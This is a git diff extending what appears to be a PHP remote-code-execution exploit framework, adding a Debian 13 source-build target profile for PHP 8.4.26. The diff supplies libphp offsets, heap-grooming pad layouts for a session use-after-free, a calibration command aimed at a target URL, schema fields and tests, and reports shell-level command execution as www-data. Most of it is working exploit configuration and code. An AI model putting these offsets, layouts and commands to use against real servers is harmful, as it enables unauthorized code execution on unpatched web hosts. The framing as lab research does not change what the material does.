diff --git a/README.md b/README.md
@@ -35,6 +35,7 @@ not match the profile.
 | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` |
 | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` |
 | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build |
+| PHP 8.4.26 deb13/apxs2 amd64 | source build (Debian 13, Apache 2.4.69 apxs2) | `php-8.4.26-deb13-apxs2-amd64` | yes | yes | **yes** | third stage-3 layout; instance-dependent; requires `--profile deb13-apxs2` |
 | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries |
 | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found |
 | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive |
@@ -46,7 +47,7 @@ not match the profile.
 | PHP 7.4.33 aarch64 | `php:7.4-apache` | `php-7.4.33-bookworm-aarch64` | no | no | no | UAF; leak shape differs |
 | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile |
 
-**13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.**
+**14 heap profiles, 6 with verified RCE. Offsets extracted for 12 builds.**
 
 `Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command
 proof on an isolated lab. `no` means not verified, not necessarily impossible;
@@ -55,7 +56,12 @@ offsets-only entry. All `yes` rows use the lab configuration: Apache prefork
 `mod_php`, one worker, `display_errors=On`, `memory_limit=8M` and
 `session.upload_progress=On`. Per-image offsets and `libphp` sha256 are in
 [the offset inventory](docs/offset-inventory.md). The 8.4.25 profile needs the
-default retries because its stage 3 is probabilistic.
+default retries because its stage 3 is probabilistic. The 8.4.26 deb13/apxs2
+row is a **contributor-reported, not independently confirmed source build**,
+not an official image: its stage-3 phase is instance-dependent (the contributor reported 4/4 runs on one Apache master and
+0/5+ on others), so treat `rce: true` as “reproduced on the reporter's lab” and
+retry on a fresh worker/master. Because two 8.4.26 amd64 profiles exist, the
+dispatcher requires `--profile deb13-apxs2` for this build.
 
 ## Features
 

diff --git a/docs/calibration-logs/8.4.26-deb13-apxs2.md b/docs/calibration-logs/8.4.26-deb13-apxs2.md
@@ -0,0 +1,41 @@
+# PHP 8.4.26 Debian 13 / apxs2 calibration
+
+Status: **contributor-reported, not independently confirmed** by the
+maintainer as of 2026-10-30.
+
+## Environment
+
+- PHP 8.4.26 built from source with `--with-apxs2`
+- Debian 13, Apache 2.4.69 prefork, one worker
+- `display_errors=On`, `memory_limit=8M`, `session.upload_progress=On`
+- OOM body: `memory_limit + 12M`
+
+## Reported results
+
+- Stages 1-2 dispatch cleanly on every attempt with the profile offsets
+  (`zif_system=0x3b19a0`, `zval_ptr_dtor=0x584f00`, `htdata=0x6e0d8`).
+- Stage 3 uses the third layout measured on this build: five `(4,4)` pads plus
+  six `(31,31)` pads, `stage3_fake_len=31`, `stage3_fakes=12`,
+  `stage3_b_name_len=3`, `stage3_wfields=5`, `stage3_cookie=true`.
+- `uid=33(www-data)` proof: 4/4 runs on one Apache master instance; 0/5+ on
+  other masters started the same way. This is instance-dependent, like the
+  8.4.25 probabilistic profile; restart/rotate and retry.
+- The proof command runs inside the Apache mount namespace (`PrivateTmp`), so
+  the reported read-back uses `nsenter -t <pid> -m -- cat /tmp/p9b`.
+
+## Reproducing
+
+```sh
+python3 tools/php2shell_calibrate.py \
+  --target http://127.0.0.1:<lab>/index.php \
+  --container <apache-container> \
+  --stage1-n 892 --stage1-len 79 --stage2-t 442 \
+  --stage3-htdata 0x6e0d8 --stage3-pads '4:4x5,31:31x6' \
+  --stage3-carrier lab --stage3-attempts 5 \
+  --distro deb13 --arch amd64 --proof-file /out/p1
+```
+
+The generated profile must select `upstream_profile: lab` and
+`stage3_carrier: false`; otherwise the dispatcher takes the carrier branch and
+will not reproduce this layout. Because two 8.4.26/amd64 profiles exist, run
+the dispatcher with `--profile deb13-apxs2`.
diff --git a/docs/profile-inventory.md b/docs/profile-inventory.md
@@ -12,6 +12,7 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`.
 | 8.3.35 | php-8.3.35-bookworm-aarch64 | 0x377428 | 0x46fcc0 | - | 841 | 63 | 406 | no |
 | 8.4.25 | php-8.4.25-bookworm-aarch64 | 0x42fa30 | 0x637ae0 | 0x690d8 | 841 | 63 | 406 | yes |
 | 8.4.26 | php-8.4.26-bookworm-amd64 | 0x465370 | 0x65eb60 | 0x690d8 | 841 | 79 | 406 | yes |
+| 8.4.26 | php-8.4.26-deb13-apxs2-amd64 | 0x3b19a0 | 0x584f00 | 0x6e0d8 | 892 | 79 | 442 | yes |
 | 8.5.10 | php-8.5.10-bookworm-aarch64 | 0x52e130 | 0x75d360 | 0x690d8 | 841 | 63 | 406 | yes |
 | 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes |
 | 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes |
@@ -33,6 +34,16 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`.
 
 This is the 8.5 branch, fixed in 8.5.12.
 
+### PHP 8.4.26 deb13/apxs2 — RCE reported on a source build
+
+`php-8.4.26-deb13-apxs2-amd64` is a Debian 13 source build (Apache 2.4.69,
+apxs2, prefork, one worker), not an official image. It needs a third stage-3
+layout: five `(4,4)` pads shift the bin-56 reclaim slot so a 31-byte fake
+reference lands whole at R0. Stages 1-2 dispatch cleanly on every attempt;
+stage 3 is instance-dependent, so retry on a fresh master. The profile must be
+selected explicitly (`--profile deb13-apxs2`) because the official 8.4.26
+bookworm profile has the same PHP version and architecture.
+
 ### PHP 8.4.26 — RCE verified
 
 `php:8.4.26-apache`, bookworm. Verified 3/3 manually and through the factory.

diff --git a/docs/upstream-changes.md b/docs/upstream-changes.md
@@ -50,6 +50,65 @@ if not (0x10000 < p < 0x0001000000000000):
 These overrides are what let one upstream checkout serve profiles with
 different `stage1_n`, forge length and stage-2 parameters.
 
+## 2b. Stage-3 pads override
+
+In `Exploit.__init__`, right after the stage-2 overrides:
+
+```python
+pads_env = _os.environ.get("P2S_STAGE3_PADS")
+if pads_env:
+    self.stage3_pads = [tuple(int(x) for x in item.split(":"))
+                        for item in pads_env.split(",") if item]
+```
+
+Profiles carry a `stage3_pads` list of `[name_len, value_len]` pairs;
+`php2shell_auto.py` serializes it as `a:b,a:b,...` into `P2S_STAGE3_PADS` and
+`php2shell_calibrate.py --stage3-pads` accepts an explicit spec of the same
+form with repetition factors, e.g. `4:4x5,31:31x6`. An explicit spec is tried
+on its own (with the three known `htdata` slots) and does not require
+`--stage3-htdata`.
+
+Explicit pads default to the **non-carrier** branch (`stage3_carrier: false`,
+`upstream_profile: lab`): that is the branch where `stage3_fake_len`,
+`stage3_fakes` and `stage3_b_name_len` are applied. Pass
+`--stage3-carrier carrier` to calibrate the 15-byte upstream carrier instead.
+The generated profile's `upstream_profile` follows the measured branch, so the
+dispatcher runs the same branch that was calibrated.
+
+The other stage-3 composition knobs (all optional profile fields, all
+environment-driven the same way):
+
+| profile field | env | effect |
+| --- | --- | --- |
+| `stage3_cookie` | `P2S_STAGE3_COOKIE` | send `Cookie: PHPSESSID=<32 bytes>` on the stage-3 first request |
+| `stage3_wfields` | `P2S_STAGE3_WFIELDS` | small fill fields (5-char name, 1-byte value) prepended to request 1 |
+| `stage3_fake_len` | `P2S_STAGE3_FAKE_LEN` | byte length of the fake-reference value (replaces the built-in 55-byte ref) |
+| `stage3_fakes` | `P2S_STAGE3_FAKES` | number of fake-reference fields in the reclaim run (built-in: 2) |
+| `stage3_b_name_len` | `P2S_STAGE3_B_NAME_LEN` | name length of the request-2 fields (built-in: 31) |
+
+Rationale (measured on a source-built Debian 13 amd64 8.4.26 lab, Apache
+2.4.69 apxs2, one prefork worker): non-docker builds shift the startup heap,
+so every byte of the stage-3 composition is load-bearing. Measured facts:
+
+- The freed session reference lands at `R0 = chunk+0x2260+0x60*K`, linear in
+  the number K of preceding bin-32 pads (gdb watchpoint sweep 0..16). The two
+  built-in layouts imply K=6/K=8 and misphase this build; five `(4,4)` pads
+  (K=5) align the bin-56 reclaim slot so a 31-byte fake reference is written
+  whole with chars at R0. The built-in 55-byte ref frames the same payload at
+  R0+8 and never reclaims here, hence `stage3_fake_len`.
+- Request 1 carries the PHPSESSID cookie and five 5-char/1-byte fill fields,
+  request 2 uses 3-char field names (`15x` 167-byte fake hashtables then the
+  fake references) — both participate in the phase.
+- Stages 1-2 dispatch cleanly on every attempt with this build's offsets;
+  stage 3 is instance-dependent: 4/4 runs on one apache master instance, 0/5+
+  on others started the same way (matches the 8.4.25 probabilistic precedent
+  and the known build-to-build lifecycle variance; rotate/restart and retry).
+- Proof command runs inside the apache mount namespace (PrivateTmp): read it
+  out-of-band (`nsenter -t <pid> -m -- cat /tmp/p9b`), the dispatcher reports
+  the run as blind on such targets.
+
+See `profiles/php-8.4.26-deb13-apxs2-amd64.json`.
+
 ## 3. Optional `noexpose` profile
 
 For `expose_php=Off` research, the stage-1 bookworm parameters are combined with

diff --git a/profiles/php-8.4.26-deb13-apxs2-amd64.json b/profiles/php-8.4.26-deb13-apxs2-amd64.json
@@ -0,0 +1,90 @@
+{
+  "name": "php-8.4.26-deb13-apxs2-amd64",
+  "php_version": "8.4.26",
+  "branch": "8.4",
+  "fixed_in": "8.4.27",
+  "sapi": "apache2handler",
+  "verified": true,
+  "rce": true,
+  "upstream_profile": "lab",
+  "libphp": {
+    "zif_system": "0x3b19a0",
+    "zval_ptr_dtor": "0x584f00",
+    "htdata": "0x6e0d8"
+  },
+  "stages": {
+    "stage1_n": 892,
+    "stage1_forge_len": 79,
+    "stage2_t": 442,
+    "stage2_v": 1,
+    "stage3_pads": [
+      [
+        4,
+        4
+      ],
+      [
+        4,
+        4
+      ],
+      [
+        4,
+        4
+      ],
+      [
+        4,
+        4
+      ],
+      [
+        4,
+        4
+      ],
+      [
+        31,
+        31
+      ],
+      [
+        31,
+        31
+      ],
+      [
+        31,
+        31
+      ],
+      [
+        31,
+        31
+      ],
+      [
+        31,
+        31
+      ],
+      [
+        31,
+        31
+      ]
+    ],
+    "stage3_carrier": false,
+    "stage3_cookie": true,
+    "stage3_wfields": 5,
+    "stage3_fake_len": 31,
+    "stage3_fakes": 12,
+    "stage3_b_name_len": 3
+  },
+  "config": {
+    "memory_limit": 8388608,
+    "display_errors": "On (vhost php.ini, leak delivered in Set-Cookie)",
+    "session_upload_progress": "On",
+    "workers": 1
+  },
+  "measured": {
+    "chunk_base": "0x7fbcf4200000"
+  },
+  "status": "contributor-reported, not independently confirmed — RCE verified on a source-built Debian 13 lab (apxs2, Apache 2.4.69 prefork, 1 worker): uid=33(www-data) 4/4 runs through the vendor engine with this profile's parameters; stages 1-2 dispatch cleanly on every attempt. Stage-3 phase is instance-dependent (after an apache restart, a fresh master may not reclaim; retry on a new instance) and the layout differs from the docker 8.4.26 image (different toolchain): third stage-3 layout with a K=5 bin-32 phase shift. Each (4,4) pad allocates the session reference at the k-th bin-32 slot, shifting the fake-reference slot linearly, R0 = chunk+0x2260+0x60*K (gdb watchpoint sweep 0..16); K=5 places the bin-56 reclaim slot so the 31-byte fake reference is written whole (chars at R0, framing differs from the upstream 55-byte carrier whose chars land at R0+8). Stage-3 request 1 carries a PHPSESSID cookie and five 5-char/1-byte fill fields; request 2 reclaims with 15x 167-byte fake hashtables then 12x 31-byte fake references, all with 3-char field names. Command proof read out-of-band from /tmp inside the apache mount namespace (PrivateTmp; nsenter).",
+  "oom_mb": 12,
+  "oom_margin_mb": 12,
+  "memory_limit_tested_mb": [
+    8
+  ],
+  "distro": "debian",
+  "arch": "amd64"
+}
diff --git a/profiles/schema.json b/profiles/schema.json
@@ -148,6 +148,30 @@
             "null"
           ],
           "description": "Whether the 167-byte carrier string is used. Null when stage 3 is not calibrated."
+        },
+        "stage3_cookie": {
+          "type": "boolean",
+          "description": "Send Cookie: PHPSESSID=<32 bytes> on the stage-3 first request (keeps PS(id) valid and participates in the heap phase on some builds)."
+        },
+        "stage3_wfields": {
+          "type": "integer",
+          "minimum": 0,
+          "description": "Small fill fields (5-char name, 1-byte value) prepended to the stage-3 first request."
+        },
+        "stage3_fake_len": {
+          "type": "integer",
+          "minimum": 24,
+          "description": "Byte length of the fake-reference zend_string value (31 = chars land at R0 on the deb13-apxs2 build; upstream default 55 = chars at R0+8)."
+        },
+        "stage3_fakes": {
+          "type": "integer",
+          "minimum": 1,
+          "description": "Number of fake-reference fields in the stage-3 reclaim run."
+        },
+        "stage3_b_name_len": {
+          "type": "integer",
+          "minimum": 1,
+          "description": "Name length of the stage-3 second-request fields (3-char names shift the reclaim phase versus 31-char names)."
         }
       },
       "additionalProperties": false

diff --git a/tests/test_calibrate.py b/tests/test_calibrate.py
@@ -0,0 +1,85 @@
+#!/usr/bin/env python3
+"""Tests for the stage-3 pads/carrier calibration helpers."""
+
+from __future__ import annotations
+
+import json
+import sys
+import unittest
+from pathlib import Path
+
+ROOT = Path(__file__).resolve().parent.parent
+sys.path.insert(0, str(ROOT / "tools"))
+
+import php2shell_calibrate as cal  # noqa: E402
+
+
+class PadSpecTests(unittest.TestCase):
+    def test_builtins_are_preserved(self):
+        self.assertEqual(cal.parse_pads(None), None)
+        self.assertEqual(cal.parse_pads("bookworm"), "bookworm")
+        self.assertEqual(cal.parse_pads("lab"), "lab")
+
+    def test_explicit_spec_with_repetition(self):
+        self.assertEqual(cal.parse_pads("4:4x5,31:31x6"),
+                         [(4, 4)] * 5 + [(31, 31)] * 6)
+
+    def test_explicit_spec_without_repetition(self):
+        self.assertEqual(cal.parse_pads("4:4,31:31"),
+                         [(4, 4), (31, 31)])
+
+    def test_bad_spec_is_rejected(self):
+        with self.assertRaises(SystemExit):
+            cal.parse_pads("4:4x")
+
+
+class CarrierSelectionTests(unittest.TestCase):
+    def test_builtin_bookworm_is_carrier(self):
+        self.assertTrue(cal.stage3_carrier_for("bookworm", "auto"))
+
+    def test_lab_is_not_carrier(self):
+        self.assertFalse(cal.stage3_carrier_for("lab", "auto"))
+
+    def test_explicit_pads_default_to_lab_branch(self):
+        self.assertFalse(cal.stage3_carrier_for([(4, 4)], "auto"))
+
+    def test_override_wins(self):
+        self.assertTrue(cal.stage3_carrier_for([(4, 4)], "carrier"))
+        self.assertFalse(cal.stage3_carrier_for("bookworm", "lab"))
+
+
+class ProfileJsonTests(unittest.TestCase):
+    def test_uncalibrated(self):
+        self.assertEqual(cal.stage3_profile_json(None), (None, None))
+
+    def test_lab(self):
+        pads, carrier = cal.stage3_profile_json({"pads": "lab"})
+        self.assertEqual(carrier, False)
+        self.assertEqual(pads[0], [8, 7])
+
+    def test_explicit_pads_keep_the_measured_branch(self):
+        pads, carrier = cal.stage3_profile_json(
+            {"pads": [(4, 4), (31, 31)], "carrier": False})
+        self.assertEqual(pads, [[4, 4], [31, 31]])
+        self.assertFalse(carrier)
+
+    def test_bookworm(self):
+        pads, carrier = cal.stage3_profile_json({"pads": "bookworm"})
+        self.assertEqual(pads, [[31, 31]] * 6)
+        self.assertTrue(carrier)
+
+
+class Deb13ProfileTests(unittest.TestCase):
+    def test_profile_matches_the_runtime_branch(self):
+        profile = json.loads(
+            (ROOT / "profiles" / "php-8.4.26-deb13-apxs2-amd64.json").read_text())
+        stages = profile["stages"]
+        self.assertEqual(profile["upstream_profile"], "lab")
+        self.assertFalse(stages["stage3_carrier"])
+        self.assertEqual(stages["stage3_fake_len"], 31)
+        self.assertEqual(stages["stage3_fakes"], 12)
+        self.assertEqual(stages["stage3_b_name_len"], 3)
+
+
+if __name__ == "__main__":
+    unittest.main()